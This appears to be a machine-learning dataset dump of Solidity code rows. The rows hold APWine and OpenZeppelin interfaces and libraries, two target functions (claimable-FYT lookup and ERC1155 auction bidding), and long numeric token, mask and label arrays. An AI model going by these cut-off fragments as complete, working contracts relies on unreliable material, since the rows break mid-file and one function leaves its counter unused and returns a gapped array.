*/
function pausePeriods() external;
/**
* @notice Resume registrations and the creation of new periods
*/
function resumePeriods() external;
}
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
interface IRegistry {
/**
* @notice Initializer of the contract
* @param _admin the address of the admin of the contract
*/
function initialize(address _admin) external;
/* Setters */
/**
* @notice Setter for the treasury address
* @param _newTreasury the address of the new treasury
*/
function setTreasury(address _newTreasury) external;
/**
* @notice Setter for the gauge controller address
* @param _newGaugeController the address of the new gauge controller
*/
function setGaugeController(address _newGaugeController) external;
/**
* @notice Setter for the controller address
* @param _newController the address of the new controller
*/
function setController(address _newController) external;
/**
* @notice Setter for the APW token address
* @param _newAPW the address of the APW token
*/
function setAPW(address _newAPW) external;
/**
* @notice Setter for the proxy factory address
* @param _proxyFactory the address of the new proxy factory
*/
function setProxyFactory(address _proxyFactory) external;
/**
* @notice Setter for the liquidity gauge address
* @param _liquidityGaugeLogic the address of the new liquidity gauge logic
*/
function setLiquidityGaugeLogic(address _liquidityGaugeLogic) external;
/**
* @notice Setter for the APWine IBT logic address
* @param _APWineIBTLogic the address of the new APWine IBT logic
*/
function setAPWineIBTLogic(address _APWineIBTLogic) external;
/**
* @notice Setter for the APWine FYT logic address
* @param _FYTLogic the address of the new APWine FYT logic
*/
function setFYTLogic(address _FYTLogic) external;
/**
* @notice Setter for the maths utils address
* @param _mathsUtils the address of the new math utils
*/
function setMathsUtils(address _mathsUtils) external;
/**
* @notice Setter for the naming utils address
* @param _namingUtils the address of the new naming utils
*/
function setNamingUtils(address _namingUtils) external;
/**
* @notice Getter for the controller address
* @return the address of the controller
*/
function getControllerAddress() external view returns (address);
/**
* @notice Getter for the treasury address
* @return the address of the treasury
*/
function getTreasuryAddress() external view returns (address);
/**
* @notice Getter for the gauge controller address
* @return the address of the gauge controller
*/
function getGaugeControllerAddress() external view returns (address);
/**
* @notice Getter for the DAO address
* @return the address of the DAO that has admin rights on the APW token
*/
function getDAOAddress() external returns (address);
/**
* @notice Getter for the APW token address
* @return the address the APW token
*/
function getAPWAddress() external view returns (address);
/**
* @notice Getter for the vesting contract address
* @return the vesting contract address
*/
function getVestingAddress() external view returns (address);
/**
* @notice Getter for the proxy factory address
* @return the proxy factory address
*/
function getProxyFactoryAddress() external view returns (address);
/**
* @notice Getter for liquidity gauge logic address
* @return the liquidity gauge logic address
*/
function getLiquidityGaugeLogicAddress() external view returns (address);
/**
* @notice Getter for APWine IBT logic address
* @return the APWine IBT logic address
*/
function getAPWineIBTLogicAddress() external view returns (address);
/**
* @notice Getter for APWine FYT logic address
* @return the APWine FYT logic address
*/
function getFYTLogicAddress() external view returns (address);
/**
* @notice Getter for math utils address
* @return the math utils address
*/
function getMathsUtils() external view returns (address);
/**
* @notice Getter for naming utils address
* @return the naming utils address
*/
function getNamingUtils() external view returns (address);
/* Future factory */
/**
* @notice Register a new future factory in the registry
* @param _futureFactory the address of the future factory contract
* @param _futureFactoryName the name of the future factory
*/
function addFutureFactory(address _futureFactory, string memory _futureFactoryName) external;
/**
* @notice Getter to check if a future factory is registered
* @param _futureFactory the address of the future factory contract to check the registration of
* @return true if it is, false otherwise
*/
function isRegisteredFutureFactory(address _futureFactory) external view returns (bool);
/**
* @notice Getter for the future factory registered at an index
* @param _index the index of the future factory to return
* @return the address of the corresponding future factory
*/
function getFutureFactoryAt(uint256 _index) external view returns (address);
/**
* @notice Getter for number of future factories registered
* @return the number of future factory registered
*/
function futureFactoryCount() external view returns (uint256);
/**
* @notice Getter for name of a future factory contract
* @param _futureFactory the address of a future factory
* @return the name of the corresponding future factory contract
*/
function getFutureFactoryName(address _futureFactory) external view returns (string memory);
/* Future platform */
/**
* @notice Register a new future platform in the registry
* @param _futureFactory the address of the future factory
* @param _futurePlatformName the name of the future platform
* @param _future the address of the future contract logic
* @param _futureWallet the address of the future wallet contract logic
* @param _futureVault the name of the future vault contract logic
*/
function addFuturePlatform(
address _futureFactory,
string memory _futurePlatformName,
address _future,
address _futureWallet,
address _futureVault
) external;
/**
* @notice Getter to check if a future platform is registered
* @param _futurePlatformName the name of the future platform to check the registration of
* @return true if it is, false otherwise
*/
function isRegisteredFuturePlatform(string memory _futurePlatformName) external view returns (bool);
/**
* @notice Getter for the future platform contracts
* @param _futurePlatformName the name of the future platform
* @return the addresses of 0) the future logic 1) the future wallet logic 2) the future vault logic
*/
function getFuturePlatform(string memory _futurePlatformName) external view returns (address[3] memory);
/**
* @notice Getter the total count of future platftroms registered
* @return the number of future platforms registered
*/
function futurePlatformsCount() external view returns (uint256);
/**
* @notice Getter the list of platforms names registered
* @return the list of platform names registered
*/
function getFuturePlatformNames() external view returns (string[] memory);
/**
* @notice Remove a future platform from the registry
* @param _futurePlatformName the name of the future platform to remove from the registry
*/
function removeFuturePlatform(string memory _futurePlatformName) external;
/* Futures */
/**
* @notice Add a future to the registry
* @param _future the address of the future to add to the registry
*/
function addFuture(address _future) external;
/**
* @notice Remove a future from the registry
* @param _future the address of the future to remove from the registry
*/
function removeFuture(address _future) external;
/**
* @notice Getter to check if a future is registered
* @param _future the address of the future to check the registration of
* @return true if it is, false otherwise
*/
function isRegisteredFuture(address _future) external view returns (bool);
/**
* @notice Getter for the future registered at an index
* @param _index the index of the future to return
* @return the address of the corresponding future
*/
function getFutureAt(uint256 _index) external view returns (address);
/**
* @notice Getter for number of future registered
* @return the number of future registered
*/
function futureCount() external view returns (uint256);
}
pragma solidity 0.7.6;
interface IAPWineNaming {
/**
* @notice generate the symbol of the FYT
* @param _index the index of the current period
* @param _ibtSymbol the symbol of the IBT
* @param _platform the platform name
* @param _periodDuration the period duration
* @return the symbol for the FYT
* @dev i.e 30D-AAVE-ADAI-2
*/
function genFYTSymbol(
uint8 _index,
string memory _ibtSymbol,
string memory _platform,
uint256 _periodDuration
) external pure returns (string memory);
/**
* @notice generate the FYT symbol from the apwIBT
* @param _index the index of the current period
* @param _ibtSymbol the symbol of the IBT
* @return the symbol for the FYT
* @dev i.e 30D-AAVE-ADAI-2
*/
function genFYTSymbolFromIBT(uint8 _index, string memory _ibtSymbol) external pure returns (string memory);
/**
* @notice generate the apwIBT symbol
* @param _ibtSymbol the symbol of the IBT of the future
* @param _platform the platform name
* @param _periodDuration the period duration
* @return the symbol for the apwIBT
* @dev i.e 30D-AAVE-ADAI
*/
function genIBTSymbol(
string memory _ibtSymbol,
string memory _platform,
uint256 _periodDuration
) external pure returns (string memory);
/**
* @notice generate the period denominator
* @param _periodDuration the period duration
* @return the period denominator
* @dev i.e 30D
*/
function getPeriodDurationDenominator(uint256 _periodDuration) external pure returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
interface ERC20 is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external returns (string memory);
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() external returns (string memory);
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() external returns (uint8);
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | User Getter */* @notice Get the list of futures from which a user can claim FYT @param _user the user to check/ | function getFuturesWithClaimableFYT(address _user) external view returns (address[] memory) {
address[] memory selectedFutures = new address[](registry.futureCount());
uint8 index = 0;
for (uint256 i = 0; i < registry.futureCount(); i++) {
if (IFuture(registry.getFutureAt(i)).hasClaimableFYT(_user)) {
selectedFutures[i] = registry.getFutureAt(i);
index += 1;
}
}
return selectedFutures;
}
| 13,427,557 | [
1,
1299,
968,
387,
342,
225,
968,
326,
666,
434,
15583,
628,
1492,
279,
729,
848,
7516,
478,
61,
56,
225,
389,
1355,
326,
729,
358,
866,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2812,
10945,
1190,
9762,
429,
42,
61,
56,
12,
2867,
389,
1355,
13,
3903,
1476,
1135,
261,
2867,
8526,
3778,
13,
288,
203,
3639,
1758,
8526,
3778,
3170,
28732,
273,
394,
1758,
8526,
12,
9893,
18,
14343,
1380,
10663,
203,
3639,
2254,
28,
770,
273,
374,
31,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
4023,
18,
14343,
1380,
5621,
277,
27245,
288,
203,
5411,
309,
261,
45,
4118,
12,
9893,
18,
588,
4118,
861,
12,
77,
13,
2934,
5332,
9762,
429,
42,
61,
56,
24899,
1355,
3719,
288,
203,
7734,
3170,
28732,
63,
77,
65,
273,
4023,
18,
588,
4118,
861,
12,
77,
1769,
203,
7734,
770,
1011,
404,
31,
203,
5411,
289,
203,
3639,
289,
203,
3639,
327,
3170,
28732,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/80001/0xC461989eAF209F43062cCD594994a75D920b5DBA/sources/contracts/dao/ERC1155Dao.sol | * @notice allows user to place bid on the token with `tokenId + serialNo`. emits the Bid event. Requirements: ‼ contract should not be paused. ‼ caller must not be the owner of the the token `tokenId + serialNo`. ‼ token with `tokenId + serialNo` must not be inactive. ‼ auction must not be inactive. ‼ auction must not be ended. ‼ token with `tokenId` must not be expired. ‼ token with `tokenId + serialNo` life must be enough. ‼ `amount` of current bid must be greater than that of previous bid. Signature for placeBidInAuction(string,uint256) : `0xafcef882` @param tokenId id of the token being bought. @param serialNo serial Number of the token./ | function placeBidInAuction(
uint256 tokenId,
uint256 serialNo
) external payable override whenNotPaused {
TokenBearer memory tokenOwner = _tokenBearer[tokenId][serialNo];
if (tokenOwner.user == msg.sender)
revert NotAvailableForOperationLib.NotAvailableForOperation(2);
if (!tokenOwner.isActivated)
revert NotAvailableForOperationLib.NotAvailableForOperation(9);
if (tokenOwner.fixedOrAuction != 2)
revert NotAvailableForOperationLib.NotAvailableForOperation(11);
if (tokenOwner.biddingLife > block.timestamp)
revert NotAvailableForOperationLib.NotAvailableForOperation(12);
_checkforExpired(
tokenOwner.startOfLife,
_tokenDetails[tokenId].expireOn,
0,
tokenOwner.endOfLife
);
unchecked {
_totalAmount += msg.value;
}
_placeBid(tokenId, serialNo, msg.value - _platformFeesInWei);
}
| 844,480 | [
1,
5965,
87,
729,
358,
3166,
9949,
603,
326,
1147,
598,
1375,
2316,
548,
397,
2734,
2279,
8338,
24169,
326,
605,
350,
871,
18,
29076,
30,
1377,
225,
163,
227,
125,
6835,
1410,
486,
506,
17781,
18,
1377,
225,
163,
227,
125,
4894,
1297,
486,
506,
326,
3410,
434,
326,
326,
1147,
1375,
2316,
548,
397,
2734,
2279,
8338,
1377,
225,
163,
227,
125,
1147,
598,
1375,
2316,
548,
397,
2734,
2279,
68,
1297,
486,
506,
16838,
18,
1377,
225,
163,
227,
125,
279,
4062,
1297,
486,
506,
16838,
18,
1377,
225,
163,
227,
125,
279,
4062,
1297,
486,
506,
16926,
18,
1377,
225,
163,
227,
125,
1147,
598,
1375,
2316,
548,
68,
1297,
486,
506,
7708,
18,
1377,
225,
163,
227,
125,
1147,
598,
1375,
2316,
548,
397,
2734,
2279,
68,
17140,
1297,
506,
7304,
18,
1377,
225,
163,
227,
125,
1375,
8949,
68,
434,
783,
9949,
1297,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
565,
445,
3166,
17763,
382,
37,
4062,
12,
203,
3639,
2254,
5034,
1147,
548,
16,
203,
3639,
2254,
5034,
2734,
2279,
203,
565,
262,
3903,
8843,
429,
3849,
1347,
1248,
28590,
288,
203,
3639,
3155,
19547,
3778,
1147,
5541,
273,
389,
2316,
19547,
63,
2316,
548,
6362,
8818,
2279,
15533,
203,
203,
3639,
309,
261,
2316,
5541,
18,
1355,
422,
1234,
18,
15330,
13,
203,
5411,
15226,
2288,
5268,
1290,
2988,
5664,
18,
1248,
5268,
1290,
2988,
12,
22,
1769,
203,
3639,
309,
16051,
2316,
5541,
18,
291,
28724,
13,
203,
5411,
15226,
2288,
5268,
1290,
2988,
5664,
18,
1248,
5268,
1290,
2988,
12,
29,
1769,
203,
3639,
309,
261,
2316,
5541,
18,
12429,
1162,
37,
4062,
480,
576,
13,
203,
5411,
15226,
2288,
5268,
1290,
2988,
5664,
18,
1248,
5268,
1290,
2988,
12,
2499,
1769,
203,
3639,
309,
261,
2316,
5541,
18,
70,
1873,
310,
15315,
405,
1203,
18,
5508,
13,
203,
5411,
15226,
2288,
5268,
1290,
2988,
5664,
18,
1248,
5268,
1290,
2988,
12,
2138,
1769,
203,
203,
3639,
389,
1893,
1884,
10556,
12,
203,
5411,
1147,
5541,
18,
1937,
951,
15315,
16,
203,
5411,
389,
2316,
3790,
63,
2316,
548,
8009,
14070,
1398,
16,
203,
5411,
374,
16,
203,
5411,
1147,
5541,
18,
409,
951,
15315,
203,
3639,
11272,
203,
203,
3639,
22893,
288,
203,
5411,
389,
4963,
6275,
1011,
1234,
18,
1132,
31,
203,
3639,
289,
203,
203,
3639,
389,
964,
17763,
12,
2316,
548,
16,
2734,
2279,
16,
1234,
18,
1132,
300,
389,
9898,
2954,
281,
382,
3218,
77,
2
]
|
pragma solidity 0.5.11;
